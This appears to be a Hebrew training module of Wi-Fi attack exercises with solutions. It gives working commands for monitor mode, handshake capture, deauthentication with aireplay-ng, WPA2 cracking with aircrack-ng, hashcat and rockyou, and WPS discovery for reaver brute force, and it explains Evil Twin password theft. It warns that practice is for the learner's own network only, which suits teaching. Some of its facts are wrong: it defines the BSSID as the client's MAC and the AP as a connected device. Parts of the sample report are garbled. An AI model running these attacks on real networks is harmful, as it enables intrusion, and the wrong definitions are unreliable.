

מודול 14 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 14: תקיפות אלוטיות

2.  פתרונות מלאים — מודול 14: תקיפות אלוטיות

תרגילים — מודול 14: תקיפות אלחוטיות 🎯

⚠️ רק על רשת אלחוטית שבבעלותך או שקיבלת עליה אישור בכתב. האזנה/תקיפה של רשת זרה = עבירה פלילית. חלק מהתרגילים דורשים מתאם **Wi-Fi עם Monitor Mode**; מי שאין לו — יבצע את תרגילי הפיצוח (על קובצי `.cap`) והתיאוריה. פתרונות ב- `solutions.md`.

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: **Kali** + מתאם **Wi-Fi USB** שתומך ב-**Monitor Mode** ו-**Injection** (הכרטיס המובנה לרוב לא מספיק, וגם לא עובד ב-VM ללא `USB passthrough`). **אין חומרה? תרגל את התיאוריה** ואת תרגילי הפיצוח על קובץ `.cap` להורדה.
- **איך עובדים:** קרא קודם את ה-`README.md`. למשימות עם פקודה — הפקודה מופיעה + מה לחפש; לרעיונות 💡 רמז.
- **נתקעת?** אם `airmon-ng` לא נכנס ל-`monitor mode` — הכרטיס/דרייבר לא תומך. נסה, ואז הצץ ב-`solutions.md`.
- **טיפ:** התרגיל הכי חשוב — בדוק את הרשת שלך בבית. רוב האנשים מגלים שהסיסמה שלהם ב-`rockyou`.

🌐 איפה לתרגל — שתי דרכים

- **TryHackMe** ☁️ (בדפדפן, ללא התקנה): ⚠️ תקיפת Wi-Fi אמיתית לא אפשרית בדפדפן; אפשר לתרגל את שלב הפיצוח על קבצי `.cap` להורדה.
- **Kali** 🐧 (מקומי): הדרך העיקרית — מתאם **USB עם Monitor Mode** + `aircrack-ng` / `airodump-ng`.

מקרא רמות: 🟢 קל • 🟡 בינוני • 🟠 מתקדם • 🔴 אתגר

חלק א' — תיאוריה וסביבה (🟢)

14.1 — הסבר את ההבדל בין SSID ו-Client. מהו Beacon Frame? 💡 רמז: §14.1 README.  הצלחה: SSID=שם, BSSID=MAC של ה-Client, AP=מכשיר מחובר, Beacon=שידור נוכחות.

14.2 — סדר את WEP, WPA, WPA2, WPA3 מהחלש לחזק. מדוע WEP “שבוי”? 💡 רמז: README §14.2.  הצלחה: הסדר נכון + הסבר חולשת ה-IV של WEP.

14.3 — הפעל **Monitor Mode** ואמת. 🟢

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0
iwconfig wlan0mon
```

👁️ **חפש:** Mode:Monitor בפלט של iwconfig.  הצלחה: המתאם במצב Monitor (wlan0mon).

חלק ב' — סריקה ולכידה (🟡🟠)

14.4 — סרוק את הרשתות בסביבתך וזהה את הרשת שלך. 🟡

```
sudo airodump-ng wlan0mon
```

👁️ **חפש:** בטבלה — CH, BSSID (ערוץ), ESSID, ENC (WPA2) של הרשת שלך. רשום אותם.  הצלחה: יש לך BSSID + ערוץ + הצפנה של הרשת שלך.

14.5 — התמקד ברשת שלך ולכוד **Handshake**. 🟡

```
sudo airodump-ng --bssid <BSSID> -c <ערוץ> -w capture wlan0mon
```

👁️ **חפש:** למעלה מופיע <BSSID> WPA handshake: — סימן שלכדת.  הצלחה: לכדת את ה-Handshake לקובץ.

14.6 — בצע **Deauth** על מכשיר שלך כדי לזרז את הלכידה. 🟡

```
sudo aireplay-ng --deauth 5 -a <BSSID> -c <client-mac> wlan0mon
```

💡 רמז: §14.5 README. מעט חבילות (5) מספיקות — המטרה חיבור מחדש אחד, לא DoS.  הצלחה: המכשיר התנתק והתחבר מחדש, וה-Handshake נלכד.

חלק ג' — פיצוח ומתקדם (🔴)

14.7 — פצח את ה-Handshake. 🔴

```
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# או hashcat:
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

👁️ **הפש:** [הסיסמה] KEY FOUND! — אם הסיסמה במילון. ✅ הצלחה: פיצחת (או קבעת שהסיסמה חזקה מדי — וזה טוב!).

14.8 — זהה רשת עם WPS פעיל. למה WPS וקטור תקיפה? 🔴

```
sudo wash -i wlan0mon
```

💡 רמז: §14.7 README. ה-PIN בן 8 ספרות → brute-force עם reaver. ✅ הצלחה: זיהית אם WPS פעיל והסברת את הסיכון.

14.9 — הסבר כיצד Evil Twin מצליח גם מול WPA2 חזק. 💡 רמז: §14.7 README. הוא לא תוקף הצפנה — מרמה את המשתמש. ✅ הצלחה: הסברת שהוא עוקף הצפנה דרך הטעיה (הנדסה חברתית).

אתגר מסכם — “בדיקת אבטחת ה-Wi-Fi הביתי” 🔴

על הרשת האלחוטית שלך בבית (בעלות מלאה):

1. סרוק וזהה את פרטי הרשת (BSSID, ערוץ, הצפנה).
 2. לכווד Handshake (עם Deauth של מכשיר שלך).
 3. נסה לפצח עם rockyou. האם הסיסמה שלך שרדה?
 4. בדוק אם WPS פעיל.
 5. **תעד דוח:** ממצאים (WPS? חוזק סיסמה?), והמלצות (WPA3, סיסמה חזקה, כיבוי WPS).
- 💡 רמז: כל השלבים בתרגילים 14.3–14.8. מבנה דוח ב- `solutions.md`. ✅ הצלחה: דוח על הרשת שלך + המלצות שיפור.

🏠 בדיקה זו על הרשת שלך בטוחה, חוקית וחושפת — אם הסיסמה שלך נמצאה, שדרג אותה מיד.

רשימת בקרה — לפני מעבר למודול 15

- ☐ אני מבין SSID/BSSID/Client ואת הבדלי WPA3 → WEP
- ☐ אני מפעיל Monitor Mode
- ☐ אני סורק רשתות עם airodump-ng
- ☐ אני מבצע Deauth ולוכד Handshake
- ☐ אני מפצח WPA2 עם aircrack-ng/hashcat
- ☐ אני מבין WPS ו-Evil Twin
- ☐ אני יודע להמליץ הגנות (סיסמה חזקה, WPA3, כיבוי WPS)

פתרונות מלאים: [solutions.md](#)

פתרונות מלאים — מודול 14: תקיפות אלחוטיות

נסה לבד ב- `missions.md` קודם. רק על רשת שבבעלותך.

חלק א' — תיאוריה וסביבה

14.1 — **SSID** = שם הרשת; **BSSID** = כתובת MAC של ה-**Client**; **AP** = מכשיר מחובר. **Beacon** = מסגרת שה-AP משדר ברציפות להכריז על נוכחותו.

14.2 — **WEP** < **WPA** < **WPA2** < **WPA3**. **WEP** "שבור" בגלל חולשת ה-**IV** (Initialization Vector) — **IV** — נפצח תוך דקות ללא קשר לחוזק הסיסמה.

14.3 — **Monitor Mode** מאפשר האזנה לכל התעבורה באוויר (לא רק לרשת מחוברת).

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0      # → wlan0mon
iwconfig wlan0mon              # Mode:Monitor 
```

חלק ב' — סריקה ולכידה

14.4

```
sudo airodump-ng wlan0mon
# של הרשת שלך ESSID, CH, ENC (WPA2), BSSID: מזהים בטבלה
```

14.5

```
sudo airodump-ng --bssid AA:BB:CC:11:22:33 -c 6 -w capture wlan0mon
```

מצליחים כשמופיע למעלה: **WPA handshake: AA:BB:CC:11:22:33**.

14.6

```
sudo aireplay-ng --deauth 5 -a AA:BB:CC:11:22:33 -c <my-client> wlan0mon
```

מעט חבילות (5) מספיקות כי מטרננו רק לגרום לניתוק+חיבור מחדש אחד ללכידת ה-Handshake — לא DoS.

חלק ג' — פיצוח ומתקדם

14.7

```
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# או hashcat:
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

אם הסיסמה במילון — תוצג; אם חזקה — הפיצוח נכשל (וזה טוב).

14.8

```
sudo wash -i wlan0mon
```

WPS פגיע כי ה-PIN בן 8 ספרות ניתן ל-brute-force (reaver) — פורץ את WPA2 בלי לפצח את הסיסמה עצמה.

14.9 — Evil Twin: מקימים AP מזויף עם אותו SSID; הקורבן מתחבר בטעות ומקבל דף התחברות מזויף שגונב את הסיסמה. מסוכן כי הוא עוקף את ההצפנה לגמרי — לא מפצחים WPA2, אלא מרמים את המשתמש (הנדסה חברתית).

בתי Wi-Fi דוח בדיקת

ממצאים

- הצפנה: WPA2-PSK (CCMP)
- WPS: (brute-force) פעיל ← סיכון
- !תוך 3 דקות ← קריטי rockyou-סיסמה: נמצאה ב

המלצות

1. החלף סיסמה ל-15+ תווים אקראיים (לא במילון).
2. בממשק הראוטר WPS כבה
3. אם נתמך WPA3-שדרג ל
4. הפרד רשת אורחים

עברת? בדקת רשת אמיתית באופן חוקי. המשך למודול 15.